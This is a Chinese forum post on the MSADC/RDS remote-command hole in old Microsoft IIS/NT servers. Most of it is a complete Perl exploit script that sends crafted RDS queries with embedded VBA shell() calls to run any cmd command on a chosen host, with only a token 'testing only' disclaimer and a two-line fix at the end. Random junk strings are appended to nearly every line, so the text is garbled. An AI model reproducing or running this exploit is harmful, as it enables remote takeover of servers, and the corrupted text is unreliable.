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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !qe:M]C'l  
pQNTN.L9NZ  
涉及程序: -<{;.~nI.  
Microsoft NT server u85  dG7  
cuoZ:Wh  
描述: 6ec#3~ Y]  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 b6?&h:{k  
(MGYX_rD  
详细: )j+G4  
如果你没有时间读详细内容的话,就删除: X-<l+WP  
c:\Program Files\Common Files\System\Msadc\msadcs.dll JC.nfxG@:  
有关的安全问题就没有了。 nJhaI  
c9:8KMF)  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 o()No_.8H  
d=DQS>Nz  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 )>]@@Trx  
关于利用ODBC远程漏洞的描述,请参看: J=t@2  
M~ku4ZP  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NiSH$ MJ_  
[vTk*#Cl4  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ^1-Vd5g  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp iF*L-   
J|aU}Z8m  
这里不再论述。 GO]5~ 4k  
5L y Wg2  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: UJiy] y  
i@L_[d^|j`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset C0}@0c  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! xO{$6M3-~  
k@[{_@>4^  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" H(gETRh  
 X]4j&QB  
#!perl '\% Kd+k  
# E}g)q;0v|2  
# MSADC/RDS 'usage' (aka exploit) script Q;?rqi ,  
# y#{v\h Cz  
# by rain.forest.puppy _KJ!C!  
# n+57# pS7  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me s3[\&zt  
# beta test and find errors! se@ ?:n1)  
|" ag'h  
use Socket; use Getopt::Std; U[{vA6  
getopts("e:vd:h:XR", \%args); aP[oLk$'Z  
a7}O.NDf  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; yHf:/8Z  
~0Z.,p_  
if (!defined $args{h} && !defined $args{R}) { O_ d[{e=5`  
print qq~ lw43|_'G-t  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }u]7x:lh  
-h <host> = host you want to scan (ip or domain) KP&$Sl  
-d <seconds> = delay between calls, default 1 second =`ECM7  
-X = dump Index Server path table, if available |@BX*r  
-v = verbose [=TD)o>W(p  
-e = external dictionary file for step 5 vMzBp#MT  
i:|e#$x  
Or a -R will resume a command session UuCRQNH  
2QgD<  
~; exit;} ^Rb*mI  
>0JC u^9  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;R]~9Aan  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Al+}4{Q+?  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} z#B(1uI  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); :[&QoEZW  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} l?B=5*0  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }  joBS{]  
8osP$"/o  
if (!defined $args{R}){ $ret = &has_msadc; )%09j0y>l"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} $DW__h  
#A&49a3^1  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 5><T#0W?  
. "cmd /c "; f0{j/+F_o  
$in=<STDIN>; chomp $in; xri(j,mU  
$command="cmd /c " . $in ; DMA`Jx  
7$mB.\|  
if (defined $args{R}) {&load; exit;} 6x;!E&<  
7U!-_)n{  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; U%n>(!d  
&try_btcustmr; >U)>~SQf  
@RHG@{x{K  
print "\nStep 2: Trying to make our own DSN..."; ~3)d?{5  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `R*SHy! _  
"fC>]iA8I  
print "\nStep 3: Trying known DSNs..."; I2WWhsNC  
&known_dsn; &Qmb?{S0  
$IqubC>O  
print "\nStep 4: Trying known .mdbs..."; u\(>a  
&known_mdb; ]Pe8G(E!  
W~FU!C?]  
if (defined $args{e}){ +~"(Wooi  
print "\nStep 5: Trying dictionary of DSN names..."; T037|k a{  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Q^8/"aV\  
8@/MrEOW#  
print "Sorry Charley...maybe next time?\n"; tL M@o|:  
exit; gwbV$[.X  
B'I_i$g4w  
##############################################################################  (duR1Dz  
[Z^26/5a  
sub sendraw { # ripped and modded from whisker 7Vu f4Z5  
sleep($delay); # it's a DoS on the server! At least on mine... gs&F .n  
my ($pstr)=@_; nrR2U`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6mqp`x`  
die("Socket problems\n"); K >Q 6  
if(connect(S,pack "SnA4x8",2,80,$target)){ OAaLCpRp  
select(S); $|=1; Dq-[b+bm  
print $pstr; my @in=<S>; &W3Hj$>  
select(STDOUT); close(S); 49ehj1Se  
return @in; <cO `jK  
} else { die("Can't connect...\n"); }} cRE6/qrXGg  
(+SL1O P  
############################################################################## |I;]fH,+  
rX0 ?m:&m  
sub make_header { # make the HTTP request MDBqIL]Hc  
my $msadc=<<EOT N'CW Sf.e  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 tRo` @eEX  
User-Agent: ACTIVEDATA .Rt~d^D@  
Host: $ip UW1i%u k  
Content-Length: $clen y&/bp<Z  
Connection: Keep-Alive 1je/l9L  
egAYJK-,!  
ADCClientVersion:01.06 hcM9Sx"!  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 G#ELQ/Q  
_ ^'QHWP  
--!ADM!ROX!YOUR!WORLD! }$[@*  
Content-Type: application/x-varg [930=rF*  
Content-Length: $reqlen Sk-Q 4D^  
K'B*D*w  
EOT zK>m4+)~  
; $msadc=~s/\n/\r\n/g; \Rs9B .  
return $msadc;} hl0\$  
{|@}xrB  
############################################################################## hAt4+O&P  
V`9*_8Dx2  
sub make_req { # make the RDS request >cpv4Pgm  
my ($switch, $p1, $p2)=@_; XMz*}B6GQ  
my $req=""; my $t1, $t2, $query, $dsn; AxeQv'e  
eSHsE 3}h  
if ($switch==1){ # this is the btcustmr.mdb query {jv+ J L"5  
$query="Select * from Customers where City=" . make_shell(); RF;[:[*W  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ex^9 l b  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} |Qcj +HH.  
@n=&muC}  
elsif ($switch==2){ # this is general make table query T]/5aA4  
$query="create table AZZ (B int, C varchar(10))"; fP6\Ur  
$dsn="$p1";} YQyI{  
 ZpMv16  
elsif ($switch==3){ # this is general exploit table query n 83Dt*O  
$query="select * from AZZ where C=" . make_shell(); io(!z-$  
$dsn="$p1";} 3t9CN )*  
=qbN?a/?2  
elsif ($switch==4){ # attempt to hork file info from index server [-i&)eX  
$query="select path from scope()"; C#8A|  
$dsn="Provider=MSIDXS;";} Bp@\p)P(  
~d3@x\I?  
elsif ($switch==5){ # bad query 3ZI:EZ5  
$query="select"; 8TG|frS  
$dsn="$p1";} nLmF5.&  
`(gQw~|z  
$t1= make_unicode($query); X @pm!c#  
$t2= make_unicode($dsn); ?6>*mdpl  
$req = "\x02\x00\x03\x00"; .z=%3p8+  
$req.= "\x08\x00" . pack ("S1", length($t1)); KhP_U{)D  
$req.= "\x00\x00" . $t1 ; P;K LN9/4  
$req.= "\x08\x00" . pack ("S1", length($t2)); }_F:]lI*R  
$req.= "\x00\x00" . $t2 ; dA E85  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 'U*#7 1S  
return $req;} )Vrp<"v  
Q`NdsS2  
############################################################################## %IE;'aa }  
Ke3~o"IQ  
sub make_shell { # this makes the shell() statement mP/#hwzB&q  
return "'|shell(\"$command\")|'";} J#F HR/zV  
*M*WjEOA  
############################################################################## C9!FnvH  
`p1B58deC  
sub make_unicode { # quick little function to convert to unicode k Jw Pd;%  
my ($in)=@_; my $out; Q+wO\TtE  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Q'!'+;&%  
return $out;} =tY%`e  
lkly2|wA  
############################################################################## BlZB8KI~  
~c] q:pU2  
sub rdo_success { # checks for RDO return success (this is kludge) jIwN,H1$-  
my (@in) = @_; my $base=content_start(@in); ){z#Y#]dP  
if($in[$base]=~/multipart\/mixed/){ Fw{68ggk  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8SL E*c^8  
return 0;} n*' :,m  
$G6kS@A  
############################################################################## D!#B*[|  
"KS" [i!3j  
sub make_dsn { # this makes a DSN for us 7'65+c[&  
my @drives=("c","d","e","f"); Mk=*2=d  
print "\nMaking DSN: "; h-sO7M0E]  
foreach $drive (@drives) { ->o[ S0  
print "$drive: "; r$-P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . E2t& @t%W  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Nn-k hl|11  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); q*,HN(& l?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #H<}xC2  
return 0 if $2 eq "404"; # not found/doesn't exist Y<kz+d,C  
if($2 eq "200") { :?LNP3}  
foreach $line (@results) { Wd+G)Mu_=  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} )m+O.`x  
} return 0;} zDEgC  
ZMr[:,Jp  
############################################################################## EkRx/  
LR!%iP  
sub verify_exists { isy[RAP<  
my ($page)=@_; =R 4]Kf  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Y:#B0FD,gC  
return $results[0];} hO{&bY0  
I$x<B7U  
############################################################################## GVu[X?q@|  
lZe-A/E  
sub try_btcustmr { 9o6[4Q}  
my @drives=("c","d","e","f"); GUD]sXSj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); v _:KqdmO]  
?b'(39fj  
foreach $dir (@dirs) { `8#xO{B1  
print "$dir -> "; # fun status so you can see progress 5Ma."?rW   
foreach $drive (@drives) { o0F,!}  
print "$drive: "; # ditto [`s.fkb8  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Z]WX 7d  
$reqlenlen=length( "$reqlen" ); __s'/ 6u  
$clen= 206 + $reqlenlen + $reqlen; |,S]EHIy  
RRYcg{g  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ut]UU*g^$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} N !ay#V  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} X2;72  
m\CU,9;;(  
############################################################################## r#_0_I1[  
R]Z#VnL@qz  
sub odbc_error { /*BK6hc  
my (@in)=@_; my $base; %Ie,J5g5  
my $base = content_start(@in); ]q4LN o  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this t6`(9o@}  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KF@%tR}V{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; kka{u[ruA  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $;} @2U   
return $in[$base+4].$in[$base+5].$in[$base+6];} 0-aaLC~Z>  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; PX0N7L  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1:- M<=J?f  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} J7oj@Or9  
_3N,oCRm  
############################################################################## T][c^K*  
l+@k:IK  
sub verbose { +t1+1 Zv  
my ($in)=@_; \}9)`1D  
return if !$verbose; \o3s&{+ y,  
print STDOUT "\n$in\n";} xh CQ Rw  
uPN^o.,/.  
############################################################################## _D@QsQ_Z  
} _];yw  
sub save { Wd(|w8J{a  
my ($p1, $p2, $p3, $p4)=@_; ZAeJTCCk  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ]9'F<T= $_  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; v0(}"0  
close OUT;} 3D5adI<aq"  
!>!jLZ0  
############################################################################## ",[/pb  
g`C"t3~%S  
sub load { =B'Yx  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";  P s|[  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); nGK=Nf.5  
@p=<IN>; close(IN); 7@ y}J5,  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); [AFGh L+t3  
$target= inet_aton($ip) || die("inet_aton problems"); +XX5;;IC  
print "Resuming to $ip ..."; BILZ XMf  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Mh3L(z]/E  
if($p[1]==1) {  r3OtQ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `*yOc6i]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; _Gb 7n5p  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,1!Y!,xy  
if (rdo_success(@results)){print "Success!\n";} S;iD~>KP  
else { print "failed\n"; verbose(odbc_error(@results));}} !B{(EL=g  
elsif ($p[1]==3){ 1cMdoQ  
if(run_query("$p[3]")){ k\/es1jOEh  
print "Success!\n";} else { print "failed\n"; }} Dp#27Yzc  
elsif ($p[1]==4){ s(s_v ?k  
if(run_query($drvst . "$p[3]")){ }TuMMO4+  
print "Success!\n"; } else { print "failed\n"; }} 1rue+GL  
exit;} CN-4FI)1D9  
;Z;` BGZJ  
############################################################################## -;HZ!Lf  
C R't  
sub create_table { +]yVSns 3  
my ($in)=@_; $:-C9N29  
$reqlen=length( make_req(2,$in,"") ) - 28; ,,IK}  
$reqlenlen=length( "$reqlen" ); 'cIFbjJ  
$clen= 206 + $reqlenlen + $reqlen; L8zMzm=-  
my @results=sendraw(make_header() . make_req(2,$in,"")); x 2l}$(7  
return 1 if rdo_success(@results); 0|0IIgy  
my $temp= odbc_error(@results); verbose($temp); kf~>%tES]  
return 1 if $temp=~/Table 'AZZ' already exists/; EL2z&  
return 0;} j E5=e</  
nSZp,?^  
############################################################################## Kuk@x.~0m  
0lcwc"_DZX  
sub known_dsn { LS# _K-  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go IsFL"Vx  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ww%4MHPp8  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", QZO<'q`L  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); +:c}LCI9<  
4IM&#_6  
foreach $dSn (@dsns) { +, rm  
print "."; v] Xy^7?  
next if (!is_access("DSN=$dSn")); ogdAJw6 9  
if(create_table("DSN=$dSn")){ 3z#fFP@E  
print "$dSn successful\n"; eSMno_Gt3  
if(run_query("DSN=$dSn")){ 1.~^QH\p?3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .>y3`,0h  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $m+Pl[s  
*_Pkb.3R  
############################################################################## jlUT9Zp  
8jLO-^X<<  
sub is_access { s>>lf&7  
my ($in)=@_; ,d=Dicaz  
$reqlen=length( make_req(5,$in,"") ) - 28; 9~iDL|0'~  
$reqlenlen=length( "$reqlen" ); V|nJ%G\  
$clen= 206 + $reqlenlen + $reqlen; q^@*k,HG  
my @results=sendraw(make_header() . make_req(5,$in,"")); {w99~?  
my $temp= odbc_error(@results); ,? &$ c+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ;D[I/U  
return 0;} (t,|FkVLV  
MpIP)bdq7  
############################################################################## IY2f$YV  
5hAs/i9_  
sub run_query { :ZM=P3QZ  
my ($in)=@_; @Hp=xC9V  
$reqlen=length( make_req(3,$in,"") ) - 28; + J}h  
$reqlenlen=length( "$reqlen" ); wG22ffaki  
$clen= 206 + $reqlenlen + $reqlen; oOQ0f |MGp  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]ddL'>$c$  
return 1 if rdo_success(@results); :?#wWF.  
my $temp= odbc_error(@results); verbose($temp); 0J= $ A  
return 0;} BT5~MYBl  
*vzj(HGO  
############################################################################## k.H4Mf(4  
K5+ONA<c  
sub known_mdb { 5Ak>/QF9  
my @drives=("c","d","e","f","g"); ]}_Ohe]X  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Az(J @  
my $dir, $drive, $mdb; /"1[qT\F  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; OnE~0+  
).$kp2IN  
# this is sparse, because I don't know of many 2QIo|$  
my @sysmdbs=( "\\catroot\\icatalog.mdb", VZA>ErB  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", g8Zf("  
"\\system32\\certmdb.mdb", N$8"X-na?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% .Na'yS `J  
7b kh")^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", j2%#xZ{33  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;AarpUw'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", @=l.J+lh  
"\\cfusion\\cfapps\\security\\realm_.mdb", \3j4=K'nE  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", t;[?Q\  
"\\cfusion\\database\\cfexamples.mdb",  0LUw  
"\\cfusion\\database\\cfsnippets.mdb", -kzg(+sm  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ]=]`Mnuxb  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", `S=4cSH(  
"\\cfusion\\brighttiger\\database\\cleam.mdb", S'AS,'EnY  
"\\cfusion\\database\\smpolicy.mdb", G0x!:[  
"\\cfusion\\database\cypress.mdb", '[[*(4 a3  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [8`^_i=#  
"\\website\\cgi-win\\dbsample.mdb", ery{>|k  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 28xLaob  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~NO'8 Mr  
); #these are just 1 swqs7rR|  
foreach $drive (@drives) { BOW`{=  
foreach $dir (@dirs){ Vdf~rV  
foreach $mdb (@sysmdbs) { e= _7Q.cn  
print "."; |\q@XCGei  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9 J~KM=p  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; x[YW 3nF  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 4p`z%U~=u  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;  OV$|!n  
} else { print "Something's borked. Use verbose next time\n"; }}}}} dxWG+S  
8d\/  
foreach $drive (@drives) { Oj.xJ(uX+v  
foreach $mdb (@mdbs) { TbhsOf!  
print "."; t3aDDu  
if(create_table($drv . $drive . $dir . $mdb)){ L>2gx$f  
print "\n" . $drive . $dir . $mdb . " successful\n"; 4:XVu  
if(run_query($drv . $drive . $dir . $mdb)){ kS(v|d  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; aaesgF  
} else { print "Something's borked. Use verbose next time\n"; }}}} o}lA\A  
} Ns`:=  
yvKKE  
############################################################################## 1|#j/  
K9euNa  
sub hork_idx { zzyD'n7D  
print "\nAttempting to dump Index Server tables...\n"; !X/O1PM|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; m9 f[nT  
$reqlen=length( make_req(4,"","") ) - 28; VaylbYUCT/  
$reqlenlen=length( "$reqlen" ); }kb6;4>c  
$clen= 206 + $reqlenlen + $reqlen; A ]~%<=b  
my @results=sendraw2(make_header() . make_req(4,"","")); %;tBWyq}_  
if (rdo_success(@results)){ u=!n9W~"  
my $max=@results; my $c; my %d; (W $>!1~  
for($c=19; $c<$max; $c++){ TInp6w+u  
$results[$c]=~s/\x00//g;  Wwo`R5  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; uF\f>E)/N%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $T}Dn[.  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; % KmhR2v  
$d{"$1$2"}="";} )u_[cEJHO  
foreach $c (keys %d){ print "$c\n"; } ]AdL   
} else {print "Index server doesn't seem to be installed.\n"; }} 5B+I\f&  
q#1Cm Kt4R  
############################################################################## U~[ tp1Z)  
wE09%  
sub dsn_dict { zRF +D+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $8Y|& P  
while(<IN>){ wg 6  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _,]@xFCOH  
next if (!is_access("DSN=$dSn")); a6.0 $'  
if(create_table("DSN=$dSn")){ ^>!~%Vv7!  
print "$dSn successful\n"; ,zH\&D$>u  
if(run_query("DSN=$dSn")){ N'RUtFqj   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \dc*!Es  
print "Something's borked. Use verbose next time\n";}}} &dI;o$t  
print "\n"; close(IN);} Y^J/jA0\B  
q#!c6lG  
############################################################################## E,:E u<  
"+KAYsVtU  
sub sendraw2 { # ripped and modded from whisker /s~&$(d59o  
sleep($delay); # it's a DoS on the server! At least on mine... \I`g[nT|  
my ($pstr)=@_; e't1.%w  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !mRDzr7  
die("Socket problems\n"); 3k?|-js  
if(connect(S,pack "SnA4x8",2,80,$target)){ XYsU)(;j  
print "Connected. Getting data"; ]h_V5rdX@  
open(OUT,">raw.out"); my @in; ]u@`XVEJ  
select(S); $|=1; print $pstr; >qjV(_?F-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} [i)G:8U  
close(OUT); select(STDOUT); close(S); return @in; n!t][d/g+  
} else { die("Can't connect...\n"); }} AwO'%+Bv  
92S,W?(  
############################################################################## -axV;+"b  
?513A>U  
sub content_start { # this will take in the server headers Y]Y]"y$1  
my (@in)=@_; my $c; rpO>l  
for ($c=1;$c<500;$c++) { nfzKUJY  
if($in[$c] =~/^\x0d\x0a/){ DANndXQLH  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `tZ`a  
else { return $c+1; }}} "jG-)k`a  
return -1;} # it should never get here actually (dVrGa54  
'2.11cM3  
############################################################################## # ^oF^!  
(qXl=e8  
sub funky { &C7HG^;W9  
my (@in)=@_; my $error=odbc_error(@in); b9@VD)J0E  
if($error=~/ADO could not find the specified provider/){ \H5{[ZUn  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; p?zh4:\F+  
exit;} C1KO]e>  
if($error=~/A Handler is required/){ -$m?ShDd  
print "\nServer has custom handler filters (they most likely are patched)\n"; s.G6?1VXlY  
exit;} jW!)5(B[A  
if($error=~/specified Handler has denied Access/){ &SE+7HXw  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5!)_" u3  
exit;}} oc3}L^aD  
(N25.}8Y  
############################################################################## '=eE6=m^K  
<FFaaGiE>  
sub has_msadc { @:"GgkyDl#  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); [e+$jsPl  
my $base=content_start(@results); !~~j&+hK\  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); gC qQ~lWZ  
return 0;} Jf=$h20x  
CuD^@  
######################## 3?R QPP  
:},/ D*v  
rCa2$#Z  
解决方案: YKsc[~ h  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^U4|TR6mub  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =wy3h0k^  
gwepaW  
拿出来充数 哈哈
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